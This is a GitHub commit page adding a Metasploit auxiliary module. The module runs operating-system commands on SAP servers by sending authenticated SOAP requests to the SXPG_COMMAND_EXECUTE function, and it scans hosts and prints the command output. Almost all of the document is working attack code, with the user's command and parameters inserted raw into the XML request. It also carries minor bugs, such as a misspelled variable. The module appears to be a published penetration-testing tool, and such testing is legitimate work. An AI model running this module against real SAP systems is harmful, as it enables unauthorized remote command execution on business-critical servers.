Skip to content

Commit 509e632

Browse files
committed
SAP SOAP RFC SXPG_CALL_SYSTEM
1 parent b973927 commit 509e632

File tree

1 file changed

+119
-0
lines changed

1 file changed

+119
-0
lines changed
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
27+
def initialize
28+
super(
29+
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE',
30+
'Version' => '$Revision',
31+
'Description' => %q{
32+
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP) to execute OS commands as configured in SM69.
33+
},
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
35+
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
36+
'License' => BSD_LICENSE
37+
)
38+
register_options(
39+
[
40+
OptString.new('CLIENT', [true, 'Client', nil]),
41+
OptString.new('USERNAME', [true, 'Username', nil]),
42+
OptString.new('PASSWORD', [true, 'Password', nil]),
43+
OptString.new('CMD', [true, 'Command to be executed', nil]),
44+
OptString.new('PARAM', [false, 'Additional parameters', nil]),
45+
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]),
46+
], self.class)
47+
end
48+
49+
def run_host(ip)
50+
os = datastore['OS']
51+
data = '<?xml version="1.0" encoding="utf-8" ?>'
52+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
53+
data << '<env:Body>'
54+
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
55+
if datastore['PARAM']
56+
data << '<ADDITIONAL_PARAMETERS>' + datastore['PARAM'] + ' </ADDITIONAL_PARAMETERS>'
57+
else
58+
data << '<ADDITIONAL_PARAMETERS> </ADDITIONAL_PARAMETERS>'
59+
end
60+
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
61+
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>'
62+
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
63+
data << '</n1:SXPG_COMMAND_EXECUTE>'
64+
data << '</env:Body>'
65+
data << '</env:Envelope>'
66+
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
67+
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
68+
begin
69+
res = send_request_raw({
70+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
71+
'method' => 'POST',
72+
'data' => data,
73+
'headers' =>{
74+
'Content-Length' => data.size.to_s,
75+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
76+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
77+
'Authorization' => 'Basic ' + user_pass,
78+
'Content-Type' => 'text/xml; charset=UTF-8',
79+
}
80+
}, 45)
81+
if (res and res.code != 500 and res.code != 200)
82+
# to do - implement error handlers for each status code, 404, 301, etc.
83+
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
84+
return
85+
else
86+
success = true
87+
print_status("[SAP] #{ip}:#{rport} - got response")
88+
saptbl = Msf::Ui::Console::Table.new(
89+
Msf::Ui::Console::Table::Style::Default,
90+
'Header' => "[SAP] SXPG_COMMAND_EXECUTE ",
91+
'Prefix' => "\n",
92+
'Postfix' => "\n",
93+
'Indent' => 1,
94+
'Columns' =>["Output",]
95+
)
96+
response = res.body
97+
if response =~ /faultstring/
98+
error = response.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
99+
sucess = false
100+
end
101+
output = response.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
102+
for i in 0..output.length-1
103+
saptbl << [output[i]]
104+
end
105+
end
106+
rescue ::Rex::ConnectionError
107+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108+
return
109+
end
110+
if success == true
111+
print(saptbl.to_s)
112+
end
113+
if sucess == false
114+
for i in 0..error.length-1
115+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
116+
end
117+
end
118+
end
119+
end

0 commit comments

Comments
 (0)